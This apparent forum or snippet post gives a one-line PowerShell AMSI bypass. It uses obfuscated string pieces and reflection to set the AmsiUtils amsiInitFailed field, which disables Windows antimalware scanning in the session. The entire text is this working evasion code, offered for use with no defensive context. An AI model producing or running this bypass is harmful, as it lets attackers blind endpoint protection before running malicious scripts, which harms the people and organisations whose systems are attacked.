AMSI bypass in 1 line powershell code

here is code

$w='System.Management.Automation.A';$c='si';$m='Utils';$assembly=[Ref].Assembly.GetType(('{0}m{1}{2}'-f $w,$c,$m));$field=$assembly.GetField(('am{0}InitFailed'-f $c),'NonPublic,Static');$field.SetValue($null,$true)